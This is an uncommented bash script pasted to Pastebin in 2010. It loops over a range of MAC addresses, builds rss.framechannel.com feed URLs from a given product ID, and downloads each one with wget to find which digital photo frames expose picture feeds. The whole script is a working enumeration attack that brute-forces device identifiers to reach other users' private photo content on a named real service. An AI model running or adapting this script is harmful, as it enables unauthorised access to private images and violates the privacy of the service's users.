Guest User

Untitled

a guest
Jan 6th, 2010
250
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /bin/bash
  2.  
  3. productId=$1
  4. if [ "$productId" = "" ]; then
  5.     echo "Product ID needed. For example KD9371"
  6.     exit
  7. fi
  8. urlPrefix='http://rss.framechannel.com//productId='$productId'/'
  9.  
  10. # Values in hex (for readability) -- assumes six parts
  11. hexRangeMin=( 00 23 4D B8 06 60 )
  12. hexRangeMax=( 00 23 4D B8 07 6F ) # Individual parts must be > than min
  13.  
  14. # Convert hex ranges
  15. intRangeMin0="`printf '%d' 0x${hexRangeMin[0]}`"
  16. intRangeMin1="`printf '%d' 0x${hexRangeMin[1]}`"
  17. intRangeMin2="`printf '%d' 0x${hexRangeMin[2]}`"
  18. intRangeMin3="`printf '%d' 0x${hexRangeMin[3]}`"
  19. intRangeMin4="`printf '%d' 0x${hexRangeMin[4]}`"
  20. intRangeMin5="`printf '%d' 0x${hexRangeMin[5]}`"
  21.  
  22. intRangeMax0="`printf '%d' 0x${hexRangeMax[0]}`"
  23. intRangeMax1="`printf '%d' 0x${hexRangeMax[1]}`"
  24. intRangeMax2="`printf '%d' 0x${hexRangeMax[2]}`"
  25. intRangeMax3="`printf '%d' 0x${hexRangeMax[3]}`"
  26. intRangeMax4="`printf '%d' 0x${hexRangeMax[4]}`"
  27. intRangeMax5="`printf '%d' 0x${hexRangeMax[5]}`"
  28.  
  29. # Assume we have all six parts, go!
  30. for part0 in $(seq $intRangeMin0 $intRangeMax0); do
  31.     for part1 in $(seq $intRangeMin1 $intRangeMax1); do
  32.         for part2 in $(seq $intRangeMin2 $intRangeMax2); do
  33.             for part3 in $(seq $intRangeMin3 $intRangeMax3); do
  34.                 for part4 in $(seq $intRangeMin4 $intRangeMax4); do
  35.                     for part5 in $(seq $intRangeMin5 $intRangeMax5); do
  36.                         mac="`printf "%02X:%02X:%02X:%02X:%02X:%02X" $part0 $part1 $part2 $part3 $part4 $part5`"
  37.                         file="frameId=$mac"
  38.                        
  39.                         echo -n "Trying $file... "
  40.                         wget -q $urlPrefix$file
  41.                        
  42.                         # Did we get a hit?
  43.                         if [ "`cat $file | grep '^<title>FrameChannel content for </title>$'`" ]; then
  44.                             echo 'failed.'
  45.                         else
  46.                             count="`cat $file | grep '^<item>' -c`"
  47.                             echo "$urlPrefix$file with $count pictures."
  48.                         fi
  49.                        
  50.                         # Clean up
  51.                         rm $file;
  52.                     done
  53.                 done
  54.             done
  55.         done
  56.     done
  57. done
RAW Paste Data